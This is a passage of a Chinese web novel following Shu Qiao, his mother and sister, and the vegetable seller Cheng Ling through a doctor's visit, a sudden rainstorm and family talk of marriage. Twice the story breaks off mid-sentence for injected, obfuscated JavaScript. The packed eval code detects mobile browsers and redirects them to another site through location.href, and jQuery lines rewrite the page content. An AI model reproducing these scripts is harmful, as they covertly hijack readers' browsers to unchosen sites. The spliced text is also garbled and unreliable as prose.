舒乔盘腿坐在炕上,手中的葵扇有一下没一下地摇着。被秦氏和舒小圆一左一右地盯着瞧,他不由得坐直了身子,眼底浮起疑惑问:“晚上的菜,火候没掌好?”不然这两人为何一副要审问的架势,眼神里还透着说不清的急切。
“不是晚饭的事。”秦氏往他身边挪了挪,声音放得轻缓,“乔哥儿,娘就想问你个事儿,随口问问。”
舒乔懒散地应了一声,“娘想问什么直接问便是,怎么还绕起弯子了?”他心底的好奇倒是被勾了起来,不知是什么事让她这般谨慎。
“还是关于程凌那孩子的事。”
舒乔摇扇的手微微一顿,心里暗叹怎么又绕到这头了。他挺直了腰背,神色认真了几分道:“娘你说。”
“今天我仔细问了小圆,”秦氏字斟句酌,生怕惊着儿子,“程凌那孩子模样周正,性子也好。娘就是想问问,你对他……是不是存了些好感在?”
“好感?”舒乔彻底停住了摇扇的动作,眼中透着茫然,手指无意识地收拢,握紧了葵扇的竹柄,“我对程大哥?”
“对呀!肯定不是我跟小满那种!”舒小圆在一旁抢着补充,还不忘插一句题外话,“不过哥哥,今晚的饭确实有点过火了。”
“那我下次注意点火候。”舒乔下意识地接话,随即又被秦氏的目光拉回了正题。
秦氏轻轻拍了拍舒小圆的手背,示意她别打岔,转而看向舒乔道:“这没什么不好意思的。咱们都是一家人,乔哥儿你仔细想想,不用急着答话。”
舒乔没再应声,而是垂眸细细回想起来——初次在菜行相遇,程凌默默递过来的那把嫩菜叶;后来他送水过去,对方总温声道谢,说他有心;偶尔他去得晚些,那人总会等着;上次买柴,更是特意帮他送回家……
程凌生得高大,肩背挺阔,可低头和他说话时总会微微倾身。那双惯常沉稳的眼睛,见到他时会微微弯起,眼尾漾开细浅的纹路。两人说话也总能接上茬,从天气农事聊到家中琐碎,从未冷过场。
若说好感,舒乔心里是认的。只是他不敢深想,怕是自己会错了意,更怕坏了眼下这份难得的投契。
那程凌对他呢?
舒乔忆起最初程凌给他菜叶时的神情,想起对方望向自己时眼中掩不住的笑意,又觉得,或许程大哥待他,也是有几分不同的。
这般一想,他才惊觉,两人相处的点滴竟都记得分明,连程凌笑时眼尾细微的纹路都清晰印在脑中。思及此,一股热意悄悄爬上耳根,他下意识抬手摸了摸耳垂。
“哥哥,你是不是热着了?我帮你扇扇。”舒小圆见他耳廓泛红,连忙拿过葵扇站起来用力扇风。劲风拂过,吹得舒乔额前碎发纷飞,连灯焰都晃了几晃。
“够了够了,不用这般大力。”舒乔急忙拦下她,“轻轻扇就好,仔细累着你。”
舒小圆放轻了动作,小声问:“这样可好?”
“嗯,这般正好。”他借着拦下妹妹的动作偏过头,悄悄松了口气。
被舒小圆这么一打岔,舒乔心头那点旖旎心思顿时散了大半。夜风拂过微烫的耳根,带来几分清凉,也把他从方才那些过于真切的回想里拉了出来。
秦氏在一旁将这一切尽收眼底,唇边的笑意始终未散。看来她猜得不错,乔哥儿对程凌确实存了好感。如今,只差摸清程凌那孩子的心意了。
“乔哥儿,我明日同你一道去菜行瞧瞧吧。”秦氏忽然开口。
舒乔略显诧异道:“娘怎么想起去菜行了?”
舒小圆扇得手酸,耷拉着胳膊喘气。舒乔接过扇子继续慢悠悠地摇着,目光落在秦氏身上。
“上次你不是说要带我去医馆复诊么?”秦氏解释道,“我近来觉得身子爽利多了,明儿下午去号个脉,正好顺路去菜行走走,也省得你再多跑一趟。”
“那好。”舒乔未作他想,当即应下。娘能出门散散心也是好事,总闷在屋里反倒不利于养病。
“我也去!我也去!”舒小圆立刻举起手,凑到舒乔身边摇他的胳膊,“我帮你们提篮子。”
“好。”舒乔含笑点头,指了指炕尾的木箱,“那你把箱子搬过来,我把明日要用的银钱理一理。”
“好咧!”舒小圆利落地去搬箱子,一上一下动作很是熟练。
这时,门外传来舒小临的声音。他刚洗漱完,路过门口探进头来问:“娘,你们还没歇下?”
“再说会儿话。”秦氏朝他摆摆手,“小临你快去睡吧,明早还要上工。”
舒小临应了一声,想着他们许是在说体己话,便没去打扰,转身回了自己屋。
舒乔就着油灯的光,打开木箱。里面多半是用麻线串好的铜钱,一串串码得齐整,还有几块零散的碎银子,收在箱底的小布包里。
他一边点数,一边低声盘算,“娘号脉抓药得留三十文,回来买五斤猪板油,省着点够用两三个月了,留一百二十文。小临在茶馆跑上跑下,天又热,我瞧着他清减了些,再买点肉煮粥给他补补,二十文应当够了……”
这般算下来,将近两百文要花出去。好在这些都是必要的开销,并非日日如此,倒也勉强撑得住。
舒小圆趴在一旁,双手托腮看他数钱,眼睛亮晶晶的。听着铜钱相碰的清脆声响,她心里也跟着欢快起来。
很快,舒乔点好明日需用的银钱,一一放入钱袋,仔细锁好箱子,让舒小圆放回原处。
“好了,时辰不早了,都歇着吧。”秦氏起身掩上门,吹熄了油灯。屋内霎时暗了下来,只剩窗外透进的朦胧月光。
夜很静,能听见远处蟋蟀的低鸣,偶尔夹杂着邻家的几声咳嗽,混着风吹叶片的沙沙声响,格外催人入睡。
舒乔拉过薄被搭在腰间,正酝酿睡意,后背忽然被人轻轻戳了一下,惊得他一个激灵。
“哥哥,你还没说你对程大哥到底是什么感觉呢。”舒小圆的声音压得极低,却带着不容搪塞的执着。
舒乔:“……”这丫头,竟还记着这桩。
他在黑暗中静默片刻,才传来一声带着羞窘的轻叹,声音轻得几不可闻道:“便是你想的那般。”
“哦——”舒小圆拖长了尾音,语气里满是“果然如此”的得意,还带着点儿小雀跃。
舒乔察觉她还想追问,连忙转过身,轻轻拍了拍她的手臂,带着几分哄劝道:“快睡吧,明日还要早起呢。”
舒小圆悄悄吐了吐舌头,乖乖闭了嘴,不再作声。
秦氏躺在一旁,唇角无声地弯了弯。心里盘算着明日的事,她也缓缓合上了眼。
反倒是舒乔,被妹妹这一问,方才好不容易压下的心思又翻涌起来。他在枕头上轻轻蹭了蹭发烫的脸颊,脑海里不由自主地又浮现程凌的模样——那人接过竹筒时专注的眉眼,低头挑菜时微抿的唇角,还有偶尔看向他时,眼里那份藏不住的温和。
他忍不住把半张脸埋进枕头里,嘴角悄悄扬起。明日就能见到程大哥了……这念头让他心头泛起细细密密的甜,抱着这份甜丝丝的期待,他终于沉沉睡去。
翌日下午,日头不算烈,风里带着些许凉意。舒乔拎着钱袋和菜篮,带着秦氏与舒小圆出了门。
“哥哥,我帮你提篮子!”舒小圆一把拿过菜篮,蹦蹦跳跳走在前头。篮子在她手中晃晃悠悠,倒像是个好玩的玩具。
秦氏这数月鲜少出门,走在街上略有些不惯。看着往来行人、沿街叫卖的摊贩,她的脚步不由得放慢了些。
舒乔陪在她身侧,不时抬手指着街景,细说近日的变化。
“前阵子街角开了家面馆,红布幌子挂了不到半月就摘了。听人说面价贵又硬,汤头也没滋味。咱们常去的那家杂货铺,说要搬到西头,换个宽敞店面。往后买针头线脑,得多走几步路了。”
舒小圆回头插了一句,“小满她爹说,杂货铺空出来的地方,好像要开馄饨铺呢!”
“是么?”秦氏有些讶异,目光望向那间空铺面,“可街西头不是已有一家馄饨铺了?两家挨得这般近,倒像是打擂台似的。”
“就是说嘛!”舒小圆撇撇嘴,故作老成地摇摇头,“要我说,开家点心铺子才好,这样就不用跑老远买梅花糕了。”
舒乔轻哼一声,伸手揉了揉她的发顶,无奈道:“你就惦记着吃,前儿你小临哥不是才给你买了梅花糕?”
“哥哥这你就不懂了,”舒小圆仰起小脸,理直气壮地反驳,“哪有人会嫌点心多的!”
秦氏看着兄妹俩斗嘴,脸上漾开笑意,脚步也轻快了不少。
三人边说边走,不多时便到了医馆。
医馆木门敞着,里面飘出淡淡的药香。下午人不多,只有三两抓药的,安安静静的,只听得到药杵捣药的闷响。
待前头穿蓝布衫的大叔抓完药离开,舒乔扶着秦氏走上前。
他每旬都来为秦氏取药,药童与坐诊的林大夫都与他相熟。见他来,着灰布衫的药童笑着招呼,“舒小哥来了?今儿带婶子复诊?”
舒乔点头,扶秦氏在诊脉的木凳上坐下,对桌后的林大夫道:“林大夫,劳您给我娘号号脉。”
林大夫应了声,伸指搭在秦氏腕间,眉峰微聚,凝神细诊。
舒乔与舒小圆立在一旁,屏息凝神,目光紧锁着林大夫的神情。
片刻后,林大夫收回手,面上露出宽慰之色道:“恢复得比预想更好。吃完这副药,便不必再来了。”说罢,他提笔在纸上飞快写下药方递给舒乔,又叮嘱道,“只是多年劳碌,底子仍虚。回去后少操劳,多静养,饮食也清淡些。”
“多谢林大夫!”三人连忙应下,悬着的心总算落了地。
秦氏身子见好,家里便少了一桩牵挂。
舒乔拿着药方去抓药,秦氏与舒小圆坐在一旁长凳上等候。
药童手脚麻利,不多时便包好药,用草纸扎紧递给他,“仍是老规矩,三碗水煎成一碗,早晚各一次,温服。”
舒乔点清铜钱付了账,拎起药包,脸上带着轻松的笑意,朝秦氏与舒小圆示意,“走吧。”
舒小圆蹦跳着下了台阶,抬头望天,忽然蹙起眉道:“哥哥,像是要下雨了。”
秦氏也举目望去,只见天边不知何时聚起一团浓云,正缓缓移来。
“还真是,方才还晴着,这天变得真快。”她心里惦着去菜行,连忙催促,“快些走,仔细淋了雨。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164058|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>三人加快脚步。风渐渐大了,街边幌子被吹得哗啦作响,树梢枝叶簌簌摇动。
赶到菜行时,摊贩们正忙着收摊,个个行色匆匆,嘴里抱怨着天气。
“这鬼天气!方才还大日头晒着,转眼就起风,怕不是要下大雨!”一个卖青菜的摊主一边嘟囔,一边粗手粗脚地将剩菜塞进竹筐,唯恐雨来得太快,“这些剩菜,回去怕是要烂了!”
旁边卖瓜的摊主也附和,手中绳索飞快捆着空筐,“谁说不是!好在今儿的菜快卖完了,就剩几个苦瓜。要是早上这般,我才该头疼呢!”
落雨天出门人少,不仅赚不到银钱,还要挨雨淋,任谁都不乐意。
舒乔无暇多看,目光在菜行里急急扫过,很快便落在程凌的摊位上。
程凌今日要卖的菜不多,只几筐青菜并几捆韭菜,已差不多售罄,此刻正弯腰摞起空筐。隔着人群,程凌也一眼瞧见了舒乔,直起身朝他挥了挥手。
舒乔将药包往怀里揣紧些,快步走过去,语气带着关切道:“这天色瞧着要落大雨了,程大哥可收拾妥当了?东西多不多?可要搭把手?”
程凌接过他手里的空菜篮,面色很是镇定,缓声道:“无妨,都已收拾妥当。况且我出门带了雨具,在牛车上。”
他说着,顺手从旁侧小筐里取出最后两把嫩青菜,放入舒乔篮中,“今日剩下的,拿回去正好滚个汤。”
舒乔略松了口气,看着篮中青翠的菜叶,忍不住又问:“程大哥怎知今日有雨?还特意备了雨具。”
“哪能算准天时,是我娘让带的。”程凌温声道,“她总说出门要多备着些,不拘晴雨,都让我带上雨具水囊,怕我在菜行遇上变故,回不得家。”
许氏为人周全,于儿子的事上尤为细心。
舒小圆立在一旁,眼睛亮亮的,“程大哥你娘真细心!”
程凌看了她一眼,唇角微弯,又转向舒乔道:“明日不知是否下雨。若下了,路不好走,我便不出摊了,先与你说一声。”
“好。”舒乔点头接过菜篮。他忽然想起什么,略带懊恼地轻拍额角,“对了,今日出门匆忙,忘了带竹筒。本来泡了金银花茶,想着给你消暑,一忙竟忘了。”
程凌看着他歉然的模样,眼神软了下来,声音也放低几分道:“没事,下回再喝也不迟。”他原想说“我等着”,话到唇边又咽了回去,怕显得太过急切。
“都怪我,方才催着乔哥儿出门,忘了提醒他带竹筒。”秦氏在一旁开口,目光却悄悄端详着程凌。
这孩子瞧着稳重,待乔哥儿的心思也藏不住,说话时眼神总往乔哥儿身上落,倒真有几分意思。
“婶子言重了,这本不算什么事,不必挂心。”他猜这应是舒乔的娘,言辞间愈发恭谨,身姿也不自觉挺直了些。
“乔哥儿常与我提起你,”秦氏缓缓开口,语气自然,目光却紧锁着程凌的面容,不肯错过一丝变化,“说程小子你心肠热,待人实诚,又肯干。谁家姑娘若能许给你,真是有福气的。”
程凌果然显出些许局促,抬手抵唇咳了一声,目光不由自主地飘向一旁——舒乔正仰首望着天际浓云,眉头轻蹙,好似并未留意他们说话,满心担忧雨势太快,阻了程凌归家的路。
舒小圆眼尖,立时接话,状若无意地歪头问道:“程大哥,那你可成了家?”
程凌的目光转回来,声音清晰答道:“我尚未婚配。”言毕,他又悄悄瞥了舒乔一眼,却见对方恰好转过头来,两人视线在空中短暂相触。程凌心头一跳,匆忙移开视线,指尖不自觉地收拢。
舒乔此时察觉黑云愈近,风里已带着湿漉漉的雨气,眼神带着些许慌乱,忙道:“程大哥,你快些回吧,仔细淋了雨。”
回想刚刚程凌说的话,舒乔心下莫名一松,又觉赧然,只得借催促掩饰心绪。
秦氏与舒小圆也附和道:“是啊,快回吧,改日再叙。”她们已得了想知的答案,也不愿程凌受雨淋。
本想再多问几句程凌家中情形,可看这天色,也只能留待下回了。
程凌未再多言,点头应下,目光直直盯着舒乔看,语气里带着几分不舍道:“那我先走了,你们也快些回家,莫要淋着。”
“嗯。”舒乔被他看得心头微颤,连忙垂下眼。走出几步又忍不住回头,见程凌正收拾着摊位,这才加快脚步跟上秦氏和舒小圆。
程凌将空筐搬上板车,又仔细检视一遍,确认未有遗漏,这才赶着牛车往城外行去。
牛车刚出城门,豆大的雨点便噼里啪啦砸落下来,顷刻间已成倾盆之势,天地没入白茫茫的雨幕之中。
程凌忙停下牛车,自车斗中翻出蓑衣披上,又将一块油布覆在牛背,怕牛淋雨受寒。
身旁不时有牛马骡车经过,赶车人高声吆喝着催促牲口,车轮碾过泥泞路面,溅起浑浊水花。个个归心似箭,谁也不愿在雨中多待。
冰凉的雨滴打在身上,却未打断程凌的思绪。他想起方才在菜行,舒乔忧切的眼神,秦氏温和的打量,舒小圆直白的问话,以及自己坦言尚未婚配时,舒乔蓦然转首的模样。
他禁不住弯了弯唇角,甩去发间雨水,将手中缰绳握得更紧。待天晴了,定要寻个时机,与乔哥儿好好说一说心底话。
11. 第 11 章
舒乔三人一路小跑着赶回家,前脚刚踏进院门,后脚瓢泼大雨就倾泻而下,倒是巧得很,半点没淋着。
雨水噼里啪啦砸在青石板上,溅起细密的水雾。
舒乔站在门廊下,望着越来越密的雨幕,心里不禁牵挂起来。程大哥这会儿该是出城了吧?这样大的雨,路上定然泥泞难行。
“这雨来得猛,程小子回去怕是要遭罪了。”秦氏也蹙着眉说道,语气里带着真切的关心。
雨势又急又猛,像是要把这些时日积攒的雨水一股脑儿全倒出来。屋檐下的水线连成了密实的帘幕,哗哗地往下淌。
舒乔收回目光,提着药包往灶屋走,“娘,我先去把药煎上,别误了时辰。”
原打算买的猪板油和肉都没能买成。他将药包仔细放好,又回屋把银钱收妥。心里只盼着这雨快些停,明日能是个晴朗天。
舒小圆一到家就按着舒乔的吩咐,把鸡赶进了棚里。这些日子母鸡天天吃着鲜嫩菜叶,精神头足得很,鸡冠子愈发红艳。
她把今日捡的鸡蛋轻轻放进碗柜上方的篮子里,仔细数了一遍,对走进来的舒乔道:“哥哥,今儿咱们吃水蒸蛋吧?”
自打舒小临在茶馆做了活计,家里银钱宽裕了些,不必再像从前那般紧巴巴的。舒乔点头应下,“那你拿碗,打……三个鸡蛋吧!”
“好咧!”舒小圆得了准话,立刻欢欢喜喜地动起手来,打蛋的动作利落得很。
舒乔将煎药的炉子刷洗干净,照着药童的嘱咐,添了三碗水,用文火慢慢煎着。屋里很快弥漫开药材特有的苦香,他起身推开半扇窗,望着窗外渐弱的雨势,心下稍安。
秦氏坐在灶膛前,弯腰拣了几根细柴添进去,不时拨弄着控制火候,生怕火大了把水熬干。
“小临也该回了。这雨若是一时不停,乔哥儿你等会儿拿把伞,去街上迎一迎。”秦氏对着在案板前忙碌的舒乔说道。
“晓得了。”舒乔将切好的葱花收进小碗,让舒小圆先端到桌上。
“不用哥哥去,我去就成。”舒小圆话音未落,人已一溜烟跑进隔壁屋里寻伞去了。
“等雨小些再出门。”秦氏探身扬声道,怕她心急火燎地冲出去,湿了衣裳。
“知道啦娘!”舒小圆蹲在炕边的箱子前,翻找片刻,取出一把略显陈旧的油纸伞。虽用了些年头,但家里人都爱惜物件,伞面尚且完好,伞骨也还结实。
雨势渐渐转成绵绵细雨,悄无声息地飘洒着。
舒小圆又等了一会儿,得了秦氏的首肯,这才撑伞出门。
舒小临做活的茶馆在城北,离家有一段路。舒小圆撑着伞走在他平日回家的必经之路上,边走边张望来往行人。
街上人影稀疏,大多撑着伞步履匆匆,布鞋踏在湿漉漉的石板上,溅起细小的水花。
走了一段,她望见前头一个熟悉的身影,试探着唤了声,“小临哥?!”
“诶?”舒小临停下急匆匆的脚步,推了推快滑到鼻梁的草帽,还以为自己听岔了。
舒小圆看清是他,连忙上前,将伞举高往他那边挪了挪,声音清亮了几分道:“小临哥你发什么呆,快打伞,我举着胳膊酸。”
舒小临这才将那顶几乎遮住视线的草帽摘下来,接过伞柄,脸上绽开惊喜道:“好啊舒小圆,下雨天还特意来接我,真不愧是我的好妹妹。”
“是娘让来的。”舒小圆纠正道。
“那也好。我还以为是哥来呢,嘿嘿,不过这个时辰哥多半在灶上忙活,抽不开身。”舒小临一高兴,话就刹不住,连鞋袜被雨水浸湿了都浑然不觉。
原本管事让他等雨停了再回,可他等不及,借了店里不知谁落下的草帽就跑了回来。
“别絮叨了小临哥,雨又大起来了,咱们快些回家。”舒小圆拍了拍他的胳膊,往他身边靠了靠。
伞面不算大,两人并肩难免挨得紧些。
“成成成,走快点。这雨水把我鞋子都洇湿了,穿着怪难受的。”舒小临嘟囔着,这鞋还是前阵子哥特意给他纳的新鞋呢。
“小临哥真笨,要是我索性脱了鞋跑回来。”舒小圆轻哼道。城里不少路段铺着石板,赤脚走也无妨。脚丫子脏了冲洗便干净,鞋子湿了反倒麻烦。
“对哦!我怎么没想到!不过我明儿还得去茶馆,等会儿怕是得把鞋放灶边烘干了。”
两人你一言我一语,撑着伞快步往家赶。
行至巷口,雨势陡然又大了起来,两人连忙握紧伞柄,叫喊着往家里冲。
推门进来,舒小临嘭地一声合上门,也顾不上闩,将伞往墙边一靠,闪身就钻进了屋。
舒乔出来瞧见,又是好笑又是无奈,朝屋里扬声道:“换了干净衣裳再出来,我熬了姜汤。”
“知道啦哥!”舒小临在屋里高声应着。
舒小圆站在舒乔面前,扯了扯自己还算干爽的衣襟给他看,“哥哥我就不用喝了吧?”她可不愿碰那辛辣的姜汤。
舒小临打伞时多半往她这边倾斜,她其实没怎么湿着。她小临哥的原话是——反正我都湿透了,不差这一点。
舒乔摇头,眼神示意她跟上,“你也得喝,出去吹了风。”
见哥哥态度坚决,舒小圆耷拉着肩膀跟过去,有气无力道:“好吧,我喝就是了。”
晚饭舒乔煮了一锅疙瘩汤,里面放了程凌给的嫩青菜,又蒸了水蛋,配着自家腌的酸豆角。虽都是家常菜,却香气扑鼻。
秦氏边喝汤边叮嘱舒小临,“水快烧热了,等会儿吃完你先洗。今儿淋了雨,睡前记得把剩下的姜汤喝完。”
“娘,我记下了。”舒小临端起碗呼噜噜吃完,放下碗一脸餍足,“果然还是哥做的饭最合胃口。”
舒乔吃完自己碗里的蒸蛋,指了指锅道:“里头还剩些,小临你吃了吧。”
秦氏和舒小圆也都说饱了,让他别剩下。舒小临其实已吃了八分饱,但见剩下不过小半碗,便也收拾干净了。
舒小圆吃饱了坐在凳子上消食,想着方才舒小临的话,好奇道:“小临哥,你在茶馆午饭都吃些什么?”
“嗯——”舒小临端着碗立在灶边,回想道,“晌午多是馒头饼子,后厨会熬一大锅汤,偶尔也有面条、饭菜这些。”
“其实也还成,不过总归比不上家里滋味。”舒小临笑着补充。无论如何,他还是觉得家里的饭菜最香。
三人又听他说了些今日茶馆的趣闻,待水热了,才一同收拾碗筷。
雨天阴沉,晚饭比往常用得早,天色也黑得快。若是晴日,这时辰舒乔还能借着余光绣会儿帕子,可眼下外头湿漉漉的,只能待在屋里。
一闲下来,舒乔便忍不住想起程凌。先前未曾深思倒还好,如今既明了自个儿的心意,那人的身影反倒挥之不去了。
程大哥此刻该是到家了吧?他望着窗外顺着屋檐滴落的水珠出神,思绪早已飘远。
舒小圆也闲得发慌,刚吃完饭不好躺下,在屋里来回踱步。
“哥你想啥呢?是不是在惦记程大哥呀。”舒小圆凑到舒乔身边,瞅着他的侧脸问道,还学着大人模样揽住他的肩。
“就你机灵?”舒乔轻轻捏了捏她的脸蛋,语气里带着纵容的无奈,“人小鬼大。”
“我这不是关心哥哥嘛。”舒小圆非但不躲,反而贴得更近,“你瞧,若不是我和娘点破,哥哥你怕是现在还糊里糊涂呢。”她颇有些得意。
“那我可真得多谢你了。”舒乔推开她挤过来的脑袋,眼睛一眯,忽然提议,“我看你头发长了不少,趁这会儿得空,我给你修修发尾吧。”说着便要起身去取剪刀。
舒小圆噔地跳开,两手紧紧护住头发,瞪圆了眼睛连连摇头道:“才不要!我还要留长了编辫子呢。”
上回就是信了哥哥和娘的话,一不小心修得太短,跟小满玩耍时,连辫子都编不起来,让她懊恼了好些天。
舒乔走近几步,一本正经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164059|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地保证道:“这次真的只修一点点,头发修齐了长得快。”
“不要不要!”舒小圆尖叫着跑开,生怕被哥哥逮住。
舒乔立在屋里,双手叉腰,脸上的笑意藏也藏不住。小丫头,还治不了你。
“乔哥儿,该你了,过来打水!”秦氏的声音从灶屋传来。
“就来!”舒乔应了声,转身去寻换洗衣裳。
天气不算寒凉,水温热便好。若是酷暑天,舒乔常将水放在桶里晒上一日,晚间将就着冲洗也成。
程凌往日也是如此,只是今日淋了雨,断不能再冲凉水了,万一染上风寒可不好。
紧赶慢赶终于回到家,好在许氏早早在家备好了热水,姜汤也温在灶上。
听见程凌归家的动静,许氏系着襜衣,站在灶屋前道:“门我稍后关,儿子你先卸车。”说罢拿起墙角的伞,前去关门。
想着方才见儿子虽披着蓑衣,肩头裤脚却湿了大片,许氏又朝灶屋喊道:“当家的,你去后头搭把手,帮儿子把东西卸了。”
“就来!”程大江提着木桶往外走,桶里是用麸皮、萝卜缨加温水拌的牛食,还掺了些半干的玉米秆。
程凌见父亲去照料牛了,便先将蓑衣脱下挂好。一路风雨兼程,里衣到底潮了几分。他依着娘的吩咐,回屋取了干净衣裳,用热水擦洗一番。待他收拾利落,晚饭也已摆上桌。
程姑姑一家昨日回去了,今日家中清静不少。没了小裕和程川的嬉闹声,程凌反倒觉得有些不习惯。
“先把姜汤喝了。”许氏将碗往程凌面前推了推,眼里满是关切。
程凌也不多言,端碗仰头饮尽。辛辣的暖流自喉间滑入腹中,迅速蔓延至四肢百骸,周身顿时暖烘起来。
许氏念着方才那场急雨,心疼儿子,不住地往他碗里夹菜,“多吃些,这是你姑姑带来的腊肉,我尝着像是添了些香料腌制,滋味格外香。”
程大江夹了一筷就着馒头,吃得连连点头道:“嗯,是香!”
程凌也饿了,一碗姜汤下肚后,连着吃了四个馒头,又喝了一碗汤才放下碗筷。
许氏见他搁下筷子,连忙开口道:“儿子你先别急着走,娘有话同你说。”
爷俩齐齐看向她。程大江将最后一口馒头塞进嘴里,含糊问道:“啥事啊?”
许氏也吃得差不多了,索性直言道:“还能是什么事,你儿子这个年岁,不就那一桩要紧事么?”
程大江愣神想了想,见妻子瞪他,才恍然道:“哦,你是说儿子的亲事是吧?”这两晚许氏确与他提过,他险些忘了。想着,他也看向程凌道:“儿子,你就听你娘的,让媒人帮着相看相看。”
“当年我同你娘也是媒人牵线,一眼就相中了彼此。所以说啊,这缘分……”
许氏打断他道:“好了好了,眼下是说儿子的事。”
程凌望着爹娘,唇角不自觉微扬,心下只觉巧合。下午归来前,乔哥儿还来过菜行。他有七八分把握乔哥儿待他不同,正思量着寻个时机剖白心意。没成想爹娘此刻便提起了婚事。
许氏正盘算着何时去寻媒人,见儿子面露笑意,话音一顿,问道:“儿子,你可是有什么想法?”
“娘,过几日再去吧。”程凌正色道。
“行,行。”许氏见他应承,脸上刚绽开笑,却听他接着道:“到时我同您一道去。”说罢便起身收拾碗筷,转身离开。
“儿子这话……是什么意思?”许氏琢磨着方才那句,推了推身旁的程大江,“我听着怎么像有话外之音呢?”
“有吗?”程大江茫然,他没听出来啊。
“同你说不明白。”许氏摆摆手,起身往灶屋去。
都说知子莫若母。许氏就这么一个儿子,他心里转什么念头,她多少能揣摩出几分。回想程凌方才的言语神态,她心头蓦地闪过一个念头——儿子该不是……心里早已有人了吧?
若真如此,那可是天大的好事!
12. 第 12 章
天公到底没作美,那场雨淅淅沥沥,时断时续地连着下了两天。
程凌这两日便没进城摆摊。雨天里,他就在家编竹篮,柔韧的竹篾在他指间翻飞,几下就绕出了篮底细密的纹路。雨一停,他便扛上铁锹跟着程大江下地,生怕积水沤坏了刚出苗的庄稼。
前不久刚下的玉米种子,几场雨下来,这会儿已蹿到人小腿肚高,翠绿的叶片上挂着晶莹的雨珠。昨日雨停时他们已给玉米地间过苗、除过草,今日主要是给芝麻地排水。
芝麻苗嫩,茎秆受不住涝,连着下两天雨,田垄间积了不少水,得赶紧排水出去。
程凌赤脚踩进软泥里,裤腿高高挽到膝盖,铁锹插进泥中发出沉闷的“噗呲”声,浑浊的泥水顺着新开的浅沟,缓缓流进田埂外的大水沟。
他弯腰顺手拔起几株抢着冒头的野草,远远扔到田埂边上。
“儿子,你那边忙完没?”程大江撸袖子直起身,额角的汗水混着泥水往下淌,他抬头望了望愈发阴沉的天色,眉头拧起,“瞅这天色怕是又要下雨。”
“还差两行,弄完就回。”程凌抬手想擦汗,瞥见满手泥泞,只好侧头往肩膀处蹭了蹭,手下动作更快了些。
地里零星还有几个农户在忙碌,偶尔隔着田垄吆喝两句。李大叔挑着担子走过,担子里躺着几支青翠的莲蓬,笑着招呼道:“大江,还忙着呢?”
“老李这就回了?”程大江应着,目光落在莲蓬上,“下塘啦?”
“哪敢下塘,就在岸边勾了几朵,家里娃娃吵着要吃,顺道来看看庄稼。”李大叔笑得脸上的褶子都挤在一起,想起家里等着的孙子,又道:“不跟你唠了,再晚娃娃该闹腾了。”
李大叔家在村里开了间小油坊,上回程凌帮他家收了两天豆子,得了六十文工钱。李大叔的儿子李大见他干活舍得下力气,还额外送了两桶豆粕让他带回去喂牛。
看着李大叔走远,程大江对刚走过来的程凌打趣道:“这老李,自打抱了孙子,三句话不离嘴边。”
他弯腰用树枝刮着脚上的泥块,像是随口一提,“你娘前儿还跟我念叨,说不知啥时候能抱上孙儿呢……”
程凌脚步微顿,没有接话,只默默走到田边的小水沟旁,弯腰搓洗手脚上的泥巴。
水流清冽,他脑海里却不受控制地浮现出乔哥儿笑眼弯弯的模样。
没说两句,细密的雨丝又飘了下来。
“得,刚好弄完!”程大江赶紧提起铁锹和竹筒,裤腿一高一低也顾不上整理,闷头就往回走,嘴里嘀咕着,“这鬼天气,再下下去,庄稼根都要泡坏了。”
程凌单肩扛着铁锹,迈着长腿跟在后面。他脸上依旧没什么表情,谁也瞧不出他心里正惦记着人。
这场雨淅淅沥沥,直到傍晚才彻底停住。乌云散开些许,天边透出昏黄朦胧的光。
许氏拧干手中的抹布,抬眼望了望天色,对刚从屋里出来的程凌道:“儿子,瞧这架势,明日该是不会下雨了,是不是得进城了?”
“要去的。”程凌点头,转身去后院取出明日装菜用的竹筐,用水细细冲刷干净,挨着墙角沥干。
“那正好,”许氏心里盘算开来,“地里的韭菜都长高了一截,明日得全割了拿去卖,再不割就该老了。瓜藤上也结了不少新黄瓜,也得一并摘了……”她一边念叨着明日的活计,一边风风火火地钻进灶屋收拾碗筷。
年前程凌提出要种菜进城卖,许氏和程大江合计了一番,最终划出一亩地,加上屋后那片闲地,觉得应当够了。
家里统共三口人,地里的收成缴完税,剩下的粮食足够吃用,往年还要卖些余粮。匀出一块地来种菜,倒也不算难事。
屋后那片地原本是拿来堆粪肥的荒地。决定种菜后,一家人将地整平翻松,因着底肥足,土力肥沃,长出来的菜格外水灵喜人。
因是第一年卖菜,程凌没种太多品种,多以爬藤的瓜类为主,辅以少许叶菜,唯独韭菜种得格外多,屋后约莫有三四分地全是青翠欲滴的韭菜。
当初听程凌说要寻村里哪家的韭菜种好,还要两三年生、不太老的,数量更是不少,许氏还暗暗吃了一惊。转念一想横竖是种了拿去卖,便在村里多方打听,跑了好几家才凑足这批韭菜根。
除了自家种的菜,程凌偶尔也会从相熟的村人那里收些别家富余的菜蔬。一转手虽然赚得不多,但过往行人见他的小摊菜品丰富,多半会驻足看看。日子久了,倒也攒下些熟客。
城郊确有菜农专种大片蔬菜瓜果,但多半直接供给酒楼大户。程凌做的是散卖生意,自然比不得他们。
好在安平县是个大县,往来商旅不绝。程凌卖一天菜,逢上赶集或年节,生意好时能进账几百文,平常日子也有几十近百文。虽不能大富大贵,但一点一滴攒下来,日子倒也过得踏实有盼头。
翌日,天刚蒙蒙亮,程凌就醒了。
